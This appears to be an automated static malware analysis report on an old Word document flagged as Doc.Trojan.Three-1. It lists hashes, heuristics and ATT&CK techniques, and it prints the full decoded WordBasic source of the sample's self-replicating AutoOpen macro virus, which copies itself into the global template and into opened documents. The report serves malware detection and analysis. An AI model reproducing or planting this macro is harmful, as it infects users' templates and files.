Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 15985f83e921581e…

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-03-19 13:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1b626f47f980fc192cf282ae29fa8d47 SHA-1: 6a5795bb3768fe6814336a815a692fb12f7f3cd1 SHA-256: 15985f83e921581e6ec63ca196bbd03d660daf1beab9d5eb39a14c6cc8915526
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Three-1. It contains a legacy WordBasic AutoOpen macro, indicated by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic. This macro is designed to execute automatically when the document is opened, suggesting an intent to deliver a secondary payload or perform other malicious actions. The presence of the AutoOpen macro and the ClamAV detection strongly indicate a malicious document, likely delivered via spearphishing.

Heuristics 4

  • ClamAV: Doc.Trojan.Three-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Three-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1116 bytes
SHA-256: 164969525d96ae0628d5ff916f9977fd414ee524a115323940797c4bf88f1fc1
Detection
ClamAV: Doc.Trojan.Three-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1HNormal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim total
Dim present
Dim cycle
Dim a$

WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
total = WordBasic.CountMacros(0)
present = 0

If total > 0 Then
For cycle = 1 To total
If WordBasic.[MacroName$](cycle, 0) = "AutoOpen" Then
present = 1
End If
'End If
a$ = WordBasic.[WindowName$]() + ":AutoOpen"

If present <> 1 Then
WordBasic.MacroCopy a$, "Global:AutoOpen", 1

Else
present = 0

If WordBasic.CountMacros(1) <> 0 Then
present = 1
End If

If present = 0 Then
WordBasic.FileSaveAs Format:=1

WordBasic.MacroCopy "Global:AutoOpen", a$
End If
End If

If WordBasic.Day(WordBasic.Now()) = 2 And WordBasic.Month(WordBasic.Now() = 11) Then
    WordBasic.MsgBox "Dedicated to 3 Crowns '98"
End If

Rem First Macro Vir from DarkDeath

WordBasic.FileSave
Next
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.